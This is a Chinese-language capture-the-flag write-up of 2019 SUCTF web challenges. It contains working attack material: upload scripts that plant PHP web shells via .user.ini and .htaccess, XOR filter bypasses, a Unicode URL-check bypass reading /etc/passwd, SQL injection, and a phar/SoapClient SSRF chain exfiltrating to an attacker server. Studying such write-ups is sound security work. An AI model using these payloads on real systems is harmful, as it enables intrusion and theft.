2019 SUCTF Web writeup

這次比賽滑水了,只有中午和晚上有時(shí)間看題,都是大佬們帶著飛的,記錄下部分Web的解題思路

0x01 CheckIn

這題在國(guó)賽的華東北區(qū)半決賽出現(xiàn)過,當(dāng)時(shí)的服務(wù)器環(huán)境是apache + php,所以解法是上傳.htaccess和里面用base64協(xié)議來解析上傳的馬。

#.htacess
\x00\x00\x8a\x39\x8a\x39     #用來繞過文件頭檢測(cè)
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/uploads/[md5(ip)]/shell.jpg"

繞過文件頭檢測(cè)還可以用

#define width 1337
#define height 1337
#shell.jpg
\x00\x00\x8a\x39\x8a\x39
簡(jiǎn)單的一句話木馬base64編碼就好了

不過這里是nginx環(huán)境,.htaccess就用不上了,所以就是要找一個(gè)nginx中類似于.htaccess的配置文件來設(shè)置解析,剛好nginx上有一個(gè).user.ini文件,參考:http://www.mumaasp.com/222.html
.user.ini

\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = cc.jpg

cc.jpg繞過<?的過濾

\x00\x00\x8a\x39\x8a\x39
<script language='php'>eval($_REQUEST[c]);</script>
#php5環(huán)境下可用

上傳后index.php會(huì)默認(rèn)包含了一句話木馬,所以直接執(zhí)行命令就好了

貼一下上傳的腳本

import requests
import base64

url = "http://47.111.59.243:9021/"


userini = b"""\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = cc.jpg
"""

#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
shell =  b"\x00\x00\x8a\x39\x8a\x39"+b"00" + "<script language='php'>eval($_REQUEST[c]);</script>"

files = [('fileUpload',('.user.ini',userini,'image/jpeg'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
print("upload .user.ini")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)

print(r.text) 

print("upload cc.jpg")

files = [('fileUpload',('cc.jpg',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

0x02 EasyPHP

題目源碼

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

這題由兩部分組成,第一部分為

<?php
$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);

第二部分就是get_the_flag函數(shù),所以也就分成兩部分出來解題,既然題目直接給了eval,還各種限制,那么想要突破限制直接getshell估計(jì)不可行,所以思路就是突破限制調(diào)用get_the_flag函數(shù),繞后通過第二部分來getshell。
第一部分參考:https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md
顯然現(xiàn)在的正則嚴(yán)格了特別多,而且還做了字符長(zhǎng)度的限制,不過利用方式應(yīng)該是一樣的,就是通過異或的方法來構(gòu)造出我們需要的php代碼,因?yàn)樽址L(zhǎng)度的限制,所以我們可以構(gòu)造出一個(gè)$_GET[x]出來,繞后利用php語(yǔ)法解析${$_GET[x]},通過參數(shù)x來觸發(fā)get_the_flag函數(shù)。
首先fuzz出我們當(dāng)前可見的字符有

# ; ! $ % ( ) * + - / : < > ? @ \ ] ^ { }

fuzz腳本

<?php

for ($ascii = 0; $ascii < 256; $ascii++) {
    
    if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
        echo bin2hex(chr($ascii));
        echo "\n";
    }
}
?>

所以就是用這些字符來異或,異或出$_GET即可,這里就不貼FUZZ異或的腳本了

%fe%fe%fe%fe^%a1%b9%bb%aa   -> $_GET

接下來就是拼接參數(shù)什么的,同時(shí)要考慮過

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

所以最后拼接出來的就是

${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

接下來要做的就是第二部分了,第二部分在XMAN的個(gè)人賽中出現(xiàn)過,其實(shí)也和第一題是一樣的,只是這次剛好就是apache+php環(huán)境了,所以直接用第一題中提到的腳本打個(gè)shell就好了,貼個(gè)腳本

import requests
import base64

url = "http://47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"


htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_95edeac63aff85469e0ebd216f87ce5a/shell.cc"

"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"

files = [('file',('.htaccess',htaccess,'image/jpeg'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text) 


files = [('file',('shell.cc',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

不過這題做了個(gè)open_basedir,剛好DE1CTF的時(shí)候用了一次,參考:https://xz.aliyun.com/t/4720,payload:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
#繞后用file_get_contents讀就好了
圖片.png

0x03 Pythonginx

題目源碼(讀來的):

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
    return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

看這個(gè)源碼很簡(jiǎn)單,就是要你構(gòu)造出第三次判斷的時(shí)候是suctf.cc但是在前兩個(gè)判斷的時(shí)候又不能是suctf.cc,所以就是其中的字符在第三次判斷前處理后要變成suctf.cc了。
參考::https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf(闊以發(fā)現(xiàn),這題的源碼和里面的例子很像哦)
Unicode/Letterlike Symbols字符闊以從這?。?a target="_blank">https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols

利用?來替換.cc中的從c,在最后出來后會(huì)恢復(fù)成c,也就成功繞過了if判斷,闊以修改個(gè)源碼用來測(cè)試

import urllib
from urllib import parse
from urllib.parse import urlsplit, urlunsplit

#url = []
url = "file://suctf.c?/../../../etc/passwd"
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
    print('first')
    exit(1)
print('1 '+host)
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
    print('sec')
    exit(2)
print('2 '+host)
newhost = []
for h in host.split('.'):
    newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
    print('3 '+host)
    print(finalUrl)
    #print(urllib.request.urlopen(finalUrl).read())
else:
    print('???')
    exit(3)

所以拿去題目打一波就闊以任意文件讀取了,如下

接下來就是讀各種文件(這里就不寫辛酸過程,以及我們是如何丟了一血的了),必須噴一下/etc/hosts

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.2  2b44a80d20fc    這特么內(nèi)網(wǎng)地址
127.0.0.1     suctf.cc

看到了個(gè)內(nèi)網(wǎng)地址,下意識(shí)以為是要日內(nèi)網(wǎng)了,一直研究這個(gè)題目源碼怎么ssrf,以及怎么日到?jīng)]開端口的uwsgi,一度一位又是一個(gè)最新的技術(shù),找了半天的騷操作。
讀nginx配置 /etc/nginx/conf.d/nginx.conf(也沒啥)

server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
}

為什么丟一血就是在這,沒去想讀其他位置的配置文件~~~
后來讀/usr/local/nginx/conf/nginx.conf 就這個(gè)鬼東西

server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag;      #flag就在這,竟然不在內(nèi)網(wǎng)里?。?!
# }
}

所以讀flag就好了

(注:從今天開始收集字典,以后讀東西都用字典來讀)

0x04 easy_sql

這題比較意外,題目和強(qiáng)網(wǎng)杯一樣是一個(gè)堆疊注入,不過做了更多限制。

1;show databases;   #查庫(kù)
1;show tables;      #查表

當(dāng)前庫(kù)只有一個(gè)Flag表,而且語(yǔ)句長(zhǎng)度限制了40位,所以想要像強(qiáng)網(wǎng)一樣的改表面和預(yù)編譯的操作都不可以了,并且過濾了from等等(fuzz下就好了,這次放出了select),本以為語(yǔ)句是類似select xxx from xxx where id = ()這樣的,結(jié)果后來聽說泄露的是這樣的

select $_GET['query'] || flag from flag

我拿flag的時(shí)候就是輸了個(gè)

*,1      這東西我都覺得神了,這都出了

所以沒毛病,這個(gè)確實(shí)能出。

0x05 upload lib2

由于木有時(shí)間,這題木有去看,所以就是記錄下復(fù)現(xiàn)過程了,題目給了源碼,所以就是進(jìn)行代碼審計(jì)

class Ad{
    ......
    function __destruct(){
        getFlag($this->ip, $this->port);
        //使用你自己的服務(wù)器監(jiān)聽一個(gè)確??梢允盏较⒌亩丝趤慝@取flag
    }
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        
        $ip = $_POST['ip'];     //你用來獲取flag的服務(wù)器ip
        $port = $_POST['port']; //你用來獲取flag的服務(wù)器端口

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
......

也就是說需要通過SSRF來反序列化觸發(fā)getFlag函數(shù),所以繼續(xù)查看代碼

#class.php

......
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }
......

參考zsx的文章:https://blog.zsxsoft.com/post/38,查看finfo_file的底層代碼

闊以發(fā)現(xiàn)finfo_file也調(diào)用了,所以finfo_file也是能夠觸發(fā)phar反序列化的,那么就可以利用SoapClient來通過SSRF以POST方式訪問到admin.php文件。不過在func.php中又做了限制

<?php
include 'class.php';

if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}

phar協(xié)議不能出現(xiàn)在開頭,還是zxs那篇文章里寫的

也就是說闊以構(gòu)造繞過一下來調(diào)用phar協(xié)議,這里的吹一下altman(https://altman.vip/),fuzz到一個(gè)可以利用的方法

php://filter/resource=phar://

所以接下來就是生成一個(gè)phar腳本,上傳后通過func觸發(fā)就好了

<?php

class File{

    public $file_name;
    public $type;
    public $func = "SoapClient";

    function __construct(){
        $this->file_name = array(null, array('location' => "http://127.0.0.1/admin.php", 'uri' => "c", 'user_agent' => "catcat\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 133\r\n\r\nip=[yourip]&port=[port]&admin=1&clazz=ArrayIterator&func1=append&func2=append&func3=append&arg1=1&arg2=1&arg3=1\r\n\r\n\r\n"));
    }

}

$o = new File();
$phar=new Phar('poc.phar');
$phar->startBuffering();
$phar->setStub("GIF89a< ?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();

繞后改個(gè)后綴上傳,vps上監(jiān)聽一下端口,到func.php觸發(fā)就可以了

0x06 Cocktail's Remix

賽后才開始看,題目放了一個(gè)robots.txt

User-agent: *
Disallow: /info.php
Disallow: /download.php
Disallow: /config.php

給了個(gè)phpinfo頁(yè)面以及一個(gè)download.php(抓包看一下可以知道是可以構(gòu)造成任意文件下載的)

通過payload:download.php?filename=xxxx實(shí)現(xiàn)任意文件讀取,開始讀各種配置文件。

#/etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.77.120.11 MysqlServer
172.77.120.10 f8a7f2ca8591     又是內(nèi)網(wǎng)地址
# download.php
<?php
$filename = $_GET['filename'];
header("Content-Disposition: attachment;filename=".$filename);
header('Content-Length: '.filesize($filename));
readfile($filename);
?>
# config.php
<?php
//$db_server = "MysqlServer";
//$db_username = "dba";
//$db_password = "rNhHmmNkN3xu4MBYhm";
?>

題目給phpinfo頁(yè)面肯定是要我們?nèi)タ瓷厦娴牟糠中畔⒌?/p>

其中加載了一個(gè)mod_cocktail(這個(gè)東西要是不說他是后門我就去想辦法日內(nèi)網(wǎng)了)模塊,下載下來用ida看看,路徑:/usr/lib/apache2/modules/mod_cocktail.so。

逆向師傅說這就是一個(gè)header的后門,獲取Reffer字段的值,base64解碼后直接放bash中運(yùn)行,所以就闊以執(zhí)行任意命令執(zhí)行了

操作了一番,發(fā)現(xiàn)木有權(quán)限寫shell,也沒法反彈shell出來。

在config給了數(shù)據(jù)庫(kù)的服務(wù)器和配置信息,所以flag應(yīng)該是要去數(shù)據(jù)庫(kù)中,所以利用數(shù)據(jù)庫(kù)連接語(yǔ)句去查庫(kù)

#mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "show databases;" > /tmp/read.txt

Database
information_schema
flag
#mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "use flag;select * from flag" > /tmp/read.txt

flag
flag{Ea3y_apAcH3_m0d_BaCkd00rx_fLaG}

0x07 iCloudMusic

這個(gè)不會(huì)了,大師傅們賽中差一步就出,等貼大師傅們的鏈接了

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • adword里面題目很多,挑一些題目來記錄 FlatScience 進(jìn)入題目界面 隨便點(diǎn)點(diǎn)之后,發(fā)現(xiàn)是一些網(wǎng)站。對(duì)...
    wulasite閱讀 1,856評(píng)論 2 0
  • WEB2 看源代碼得flag 文件上傳測(cè)試 找一張圖片上傳,截包改后綴名為.php得flag 計(jì)算題 F12修改輸...
    a2dd56f6ad89閱讀 18,647評(píng)論 0 2
  • 捉迷藏 題目url:http://218.76.35.75:20111/index.php 進(jìn)去之后查看源碼: 發(fā)...
    Pr0ph3t閱讀 1,764評(píng)論 0 2
  • PHP reading 上掃描器掃出index.php.bak 下載"源碼" 里面的內(nèi)容base64decode之...
    Pr0ph3t閱讀 2,112評(píng)論 8 1
  • 路人甲路遇兩人,一個(gè)是乞丐,一個(gè)是賣小商品的老人。 路人甲在老人那里買了五毛錢的皮筋,還討價(jià)還價(jià)多要了一根。 轉(zhuǎn)頭...
    33若水閱讀 185評(píng)論 0 1

友情鏈接更多精彩內(nèi)容